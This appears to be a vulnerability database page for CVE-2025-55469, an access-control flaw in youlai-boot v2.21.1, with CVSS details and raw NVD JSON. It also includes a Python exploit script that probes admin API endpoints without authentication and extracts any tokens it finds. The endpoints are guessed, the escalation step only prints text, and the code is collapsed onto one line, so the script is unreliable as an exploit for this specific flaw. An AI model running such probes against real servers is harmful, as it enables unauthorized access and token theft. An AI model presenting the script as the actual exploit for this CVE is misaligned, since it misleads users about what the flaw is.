Security Vulnerability Report
中文
CVE-2025-55469 CVSS 9.8 CRITICAL

CVE-2025-55469

Published: 2025-11-26 18:15:49
Last Modified: 2025-12-05 14:38:52

Description

Incorrect access control in youlai-boot v2.21.1 allows attackers to escalate privileges and access the Administrator backend.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:youlai:youlai-boot:2.21.1:*:*:*:*:*:*:* - VULNERABLE
youlai-boot v2.21.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-55469 PoC - youlai-boot Privilege Escalation # Target: youlai-boot v2.21.1 # Vulnerability: Incorrect Access Control leading to Admin Access TARGET_URL = "http://target-server.com" # Replace with target URL def exploit_privilege_escalation(): """ Exploit the privilege escalation vulnerability in youlai-boot This PoC demonstrates how an unauthenticated user can gain admin access """ # Step 1: Identify vulnerable endpoint (typically /api/admin/** endpoints) vulnerable_endpoints = [ "/api/admin/user/list", "/api/admin/system/config", "/api/admin/menu/permissions" ] # Step 2: Attempt to access admin endpoints without authentication # or with manipulated token for endpoint in vulnerable_endpoints: url = f"{TARGET_URL}{endpoint}" # Method 1: Direct access without auth token headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.get(url, headers=headers, timeout=10) # Check if we got admin access or sensitive information if response.status_code == 200: data = response.json() if "code" in data and data["code"] == 200: print(f"[!] VULNERABLE: {endpoint}") print(f"[+] Response: {json.dumps(data, indent=2, ensure_ascii=False)}") # Step 3: Extract session/token if exposed if "data" in data: token = data.get("data", {}).get("token") if token: print(f"[+] Extracted Token: {token}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") # Step 4: Attempt privilege escalation with known admin endpoints # This simulates the actual attack chain escalation_payloads = [ { "method": "GET", "path": "/api/admin/user/current", "desc": "Get current user info (may reveal admin access)" }, { "method": "GET", "path": "/api/admin/role/list", "desc": "List all roles including admin roles" } ] print("\n[*] Attempting privilege escalation...") for payload in escalation_payloads: url = f"{TARGET_URL}{payload['path']}" print(f"[*] Testing: {payload['method']} {payload['path']}") print(f"[*] Description: {payload['desc']}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-55469 PoC - youlai-boot Privilege Escalation") print("CVSS Score: 9.8 (CRITICAL)") print("=" * 60) exploit_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55469", "sourceIdentifier": "[email protected]", "published": "2025-11-26T18:15:48.607", "lastModified": "2025-12-05T14:38:51.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in youlai-boot v2.21.1 allows attackers to escalate privileges and access the Administrator backend."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:youlai:youlai-boot:2.21.1:*:*:*:*:*:*:*", "matchCriteriaId": "7CFBFBA2-A744-4EAE-A0F1-78CAE3F65176"}]}]}], "references": [{"url": "https://gist.github.com/old6ma/d6e19c9efbe28431f4c27c063cc9cbb8", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/youlaiorg/youlai-boot", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitee.com/youlaiorg/youlai-boot/issues/ICFCOK", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://gitee.com/youlaiorg/youlai-boot/issues/ICFCOK", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}